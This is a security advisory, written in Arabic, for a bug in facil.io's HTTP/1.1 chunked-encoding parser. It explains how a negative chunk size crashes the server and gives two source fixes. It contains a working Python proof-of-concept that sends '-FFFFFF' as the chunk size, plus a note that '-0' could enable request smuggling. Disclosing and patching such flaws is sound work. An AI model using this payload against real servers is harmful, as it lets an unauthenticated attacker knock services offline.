
نشرة أمنية لـ CVE-2026-66731 تتضمن تحليل السبب الجذري، واستغلال PoC، واقتراحات إصلاح لخلل محلل الترميز المجزأ لـ HTTP/1.1 في facil.io.
معرّف CVE المخصص: CVE-2026-66731
المنتج: facil.io
الإصدارات المتأثرة: facil.io >= 0.7.5 (0.7.5, 0.7.6, master)؛ أُدخل عندما تم نقل محلل HTTP/1.1 من 0.8.x إلى 0.7.5 - غير موجود في 0.6.x أو 0.7.0–0.7.3
المكوّن: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (التحقق غير الصحيح من المدخلات)، CWE-682 (حساب غير صحيح)، CWE-125 (قراءة خارج الحدود)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
الباحث: Theodosis Paidakis
يقبل محلل ترميز النقل المجزأ علامة الطرح البادئة في قيم حجم المقطع. تُرجع الدالة http1_atol16 قيمة long long سالبة لمدخلات مثل -FFFFFF. يخزّن المحلل 0 - chunk_len في content_length كقيمة إشارة (sentinel) لـ"داخل المقطع". عندما تكون chunk_len سالبة، ينتج عن هذا الطرح قيمة موجبة كبيرة، مما يفسد آلة الحالة. ثم تقوم عملية حساب مؤشر لاحقة بتحريك مؤشر القراءة ملايين البايتات قبل مخزن الإدخال المؤقت، إلى ذاكرة غير معيّنة، مما يتسبب في انهيار العملية. يكفي طلب POST واحد غير مصادق عليه.
الخطوة 1: الدالة http1_atol16 تقبل علامة الطرح البادئة
lib/facil/http/parsers/http1_parser.h، الأسطر 316-346
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
يُنتج الإدخال -FFFFFF\r\n القيمة chunk_len = -16777215LL. تحدد RFC 7230 القسم 4.1 أحجام المقاطع كأعداد صحيحة سداسية عشرية غير سالبة. علامة الطرح البادئة غير صالحة.
الخطوة 2: إفساد آلة الحالة
lib/facil/http/parsers/http1_parser.h، الأسطر 681-690
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
يستخدم المحلل قيمة content_length السالبة كقيمة إشارة (sentinel) تعني "جارٍ قراءة جسم المقطع حاليًا". مع قيمة موجبة content_length قدرها +16777215، تعتقد آلة الحالة أنها تقرأ جسمًا عاديًا (غير مجزأ) بحجم 16 ميجابايت.
الخطوة 3: تحرك المؤشر للخلف إلى ذاكرة غير معيّنة
في التكرار التالي، يحسب المحلل:
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
تسبب القراءة من ذلك العنوان خطأ (fault).
ابدأ الخادم، ثم نفّذ:
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
مخرجات ASAN (مؤكدة):
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
التأثير حسب حجم المقطع المُرسل:
ملاحظة: حالة -0 (0 - 0 = 0) تصل إلى فرع "اكتمال جسم المقطع" وتنجو، لكن الخادم يقبل الطلب كما لو كان جسمه فارغًا بغض النظر عن أي بيانات تليه. قد يعمل هذا كأداة تهريب طلبات (request smuggling) في عمليات نشر بروكسي حيث يقوم الطرف الأمامي بتحليل ترميز النقل المجزأ بشكل مختلف.
طلب واحد غير مصادق عليه باستخدام Transfer-Encoding: chunked مع حجم مقطع سالب ينهار الخادم. أي تطبيق يقبل HTTP/1.1 يتأثر؛ ترميز النقل المجزأ هو ميزة أساسية في البروتوكول ولا يتطلب أي إعداد على مستوى التطبيق.
أي من النهجين كافٍ. يُفضَّل الإصلاح 1.
الإصلاح 1: رفض علامة الطرح البادئة في http1_atol16
lib/facil/http/parsers/http1_parser.h، السطر 322
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
الإصلاح 2: التحقق من chunk_len قبل الاستخدام
lib/facil/http/parsers/http1_parser.h، السطر 681
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
الالتزام 53caca31 ("إصلاح atol16 لتصحيح حساب طول المجزأ"، ديسمبر 2019) أصلح شرط حلقة اكتشاف التجاوز لكنه أبقى على كود معالجة الإشارة. الالتزام fe847cdf ("إصلاح محلل HTTP/1.1 ضد هجوم التهريب"، مايو 2020) عالج تعارضات TE/CL (وجود كل من Transfer-Encoding وContent-Length). لا يغطي أي منهما أحجام المقاطع السالبة.
| حجم المقطع | content_length بعد الإفساد | النتيجة |
|---|
-0 | 0 | يتم تخطي الجسم بصمت؛ يستمر الخادم في العمل |
-1 | +1 | المؤشر قبل البداية بمقدار 1 بايت |
-FFFFFF | +16777215 | المؤشر قبل البداية بمقدار 16 ميجابايت؛ انهيار |
-7FFFFFFF | +2147483647 | المؤشر قبل البداية بمقدار 2 جيجابايت؛ انهيار |